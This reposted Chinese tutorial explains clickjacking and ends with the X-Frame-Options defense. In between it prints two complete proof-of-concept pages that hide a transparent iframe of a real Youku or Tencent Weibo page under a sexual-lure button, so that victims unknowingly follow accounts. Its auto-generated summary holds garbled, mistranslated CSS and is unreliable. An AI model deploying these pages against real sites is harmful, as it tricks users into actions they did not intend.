点击劫持(click jacking)

摘要:
什么是点击劫持劫持原理劫持案例代码示例POC腾讯微博防粉优酷频道防粉什么是点击劫机点击劫持,也称UI叠加攻击。劫持原理攻击者使用透明和不可见的iframe来覆盖(包含)网页,然后诱使用户对网页进行操作。此时,用户在不知情的情况下单击透明iframe页面。通过调整iframe页面上的按钮位置,用户可以点击iframe页上的一些功能按钮。DOCTYPE html˃http equiv=“Content Type”Content=“text/html;charset=utf-8”/˃单击劫持POCiframe{width:1440像素;高度:900像素;位置:绝对值;顶部:0;左侧:0;z索引:2;-moz效率:0;可用性:0;过滤器:alpha}按钮{位置:绝对;顶部:230像素;左侧:1200像素;z索引;1;宽度:80像素;高度20像素}单击脱衣粉化腾讯微博单击Hijack POCiframe{width:1440px;height:900px;position:absolute;top:-0px;left:-0p;z-index:2;-moz efficiency:0;efficiency:0;filter:alpha;}按钮{位置:绝对;顶部:250px;左侧:770px;z索引:1;宽度:80px;高度:20px;}单击脱衣˂iframesrc=”http://search.t.qq.com/user.php?

什么是点击劫持
劫持原理
劫持案例
代码示例
优酷频道刷粉的POC
腾讯微博刷粉
防御

点击劫持(click jacking)第1张

什么是点击劫持

点击劫持,clickjacking,也被称为UI-覆盖攻击。这个词首次出现在2008年,是由互联网安全专家罗伯特·汉森和耶利米·格劳斯曼首创的。
它是通过覆盖不可见的框架误导受害者点击。
虽然受害者点击的是他所看到的网页,但其实他所点击的是被黑客精心构建的另一个置于原网页上面的透明页面

劫持原理

攻击者使用一个透明的、不可见的iframe,覆盖(包含)一个网页,然后诱使用户在该网页上进行操作,此时用户在不知情的情况下点击了透明的iframe页面。通过调整iframe页面的按钮位置,可以诱使用户恰好点击在iframe页面的一些功能性按钮上。

劫持案例
  1. 点击一个表面显示是“播放”某个视频的按钮,而实际上完成的操作却是将用户的社交网站个人信息改为“公开”状态。
  2. 通过图片覆盖导致链接到一些未知的网站
    思路即为,找到有用的地方,查到坐标,放置按钮,放置诱惑信息,OK!
代码示例

优酷频道刷粉的POC

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. http-equiv="Content-Type" content="text/html; charset=utf-8" />
  5. <title>点击劫持 POC</title>
  6. <style>
  7. iframe {
  8. width: 1440px;
  9. height: 900px;
  10. position: absolute;
  11. top: 0;
  12. left: 0;
  13. z-index: 2;
  14. -moz-opacity: 0;
  15. opacity: 0;
  16. filter: alpha(opacity=0)
  17. }
  18. button {
  19. position: absolute;
  20. top: 230px;
  21. left: 1200px;
  22. z-index: 1;
  23. width: 80px;
  24. height: 20px
  25. }
  26. </style>
  27. </head>
  28. <body>
  29. <button>点击脱衣</button>
  30. <img src="http://b.hiphotos.baidu.com/image/pic/item/3ac79f3df8dcd1001341dbcd768b4710b8122f78.jpg" />
  31. <iframe src="http://i.youku.com/u/UMjA0NTg4Njcy" scrolling="no"> </iframe>
  32. </body>
  33. </html>

腾讯微博刷粉

  1. <html>
  2. <head>
  3. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  4. <title>点击劫持 POC</title>
  5. <style>
  6. iframe {
  7. width: 1440px;
  8. height: 900px;
  9. position: absolute;
  10. top: -0px;
  11. left: -0px;
  12. z-index: 2;
  13. -moz-opacity: 0;
  14. opacity: 0;
  15. filter: alpha(opacity=0);
  16. }
  17. button {
  18. position: absolute;
  19. top: 250px;
  20. left: 770px;
  21. z-index: 1;
  22. width: 80px;
  23. height: 20px;
  24. }
  25. </style>
  26. </head>
  27. <body>
  28. <button>点击脱衣</button>
  29. <img src="http://b.hiphotos.baidu.com/image/pic/item/3ac79f3df8dcd1001341dbcd768b4710b8122f78.jpg" />
  30. <iframe src="http://search.t.qq.com/user.php?pos=436&amp;k=东北保钓" scrolling="no"></iframe>
  31. </body>
  32. </html>
防御

X-FRAME-OPTIONS是目前最可靠的方法
X-FRAME-OPTIONS是微软提出的一个http头,专门用来防御利用iframe嵌套的点击劫持攻击。
并且在IE8、Firefox3.6、Chrome4以上的版本均能很好的支持。
这个头有三个值:

  1. DENY // 拒绝任何域加载
  2. SAMEORIGIN // 允许同源域下加载
  3. ALLOW-FROM // 可以定义允许frame加载的页面地址

参考:
http://www.freebuf.com/articles/web/67843.html

免责声明:文章转载自《点击劫持(click jacking)》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇Oracle Cursor的使用HTTP.SYS远程代码执行漏洞测试下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

flex集成IFrame,IFrame集成UnityWebPlayer直接通讯调用解决方式

做Web开发一般是flex与JS交互,UnityWebPlayer与JS交互。 它们之间相互调用比較常见。 /** * Flex调用Javascript函数 * @params functionName:String Javascript函数名称 * @params ...params Javascript函数參数 * @retu...

新手入门贴:史上最全Web端即时通讯技术原理详解

 关于IM(InstantMessaging)即时通信类软件(如微信,QQ),大多数都是桌面应用程序或者native应用较为流行,而网上关于原生IM或桌面IM软件类的通信原理介绍也较多,此处不再赘述。而web端的IM应用,由于浏览器的兼容性以及其固有的“客户端请求服务器处理并响应”的通信模型,造成了要在浏览器中实现一个兼容性较好的IM应用,其通信过程必然是...

apex:iframe 调用其他visaulforce page

<apex:page > <apex:iframe src="http://t.zoukankan.com/apex/API_Extjs_app" scrolling="true" /> </apex:page> 可扩展成动态调用...

iOS H5容器的一些探究(一):UIWebView和WKWebView的比较和选择

一、Native开发中为什么需要H5容器 Native开发原生应用是手机操作系统厂商(目前主要是苹果的iOS和google的Android)对外界提供的标准化的开发模式,他们对于native开发提供了一套标准化实现和优化方案。但是他们存在一些硬伤,比如App的发版周期偏长、有时无法跟上产品的更新节奏;灵活性差,如果有较大的方案变更,需要发版才能解决;如果存...

iframe高度自适应

前两天在网上看到了一道面试题,问iframe高度自适应的问题。发现自己之前几乎没有关注过iframe的问题,所以在这里记录一下。 原题目是: 页面A的域名是:http://www.taobao.com,页面B的域名是http://www.tmall.com,如果A使用iframe引用页面B,如何做到iframe的高度自适应(即B内容有多高,iframe就有...

x-frame-options、iframe与iframe的一些操作

iframe的子操作父窗口,父操作子窗口: test.php: <!DOCTYPE html> <html> <head> <title>test</title> </head> <body> <input type="text" name="csrf"...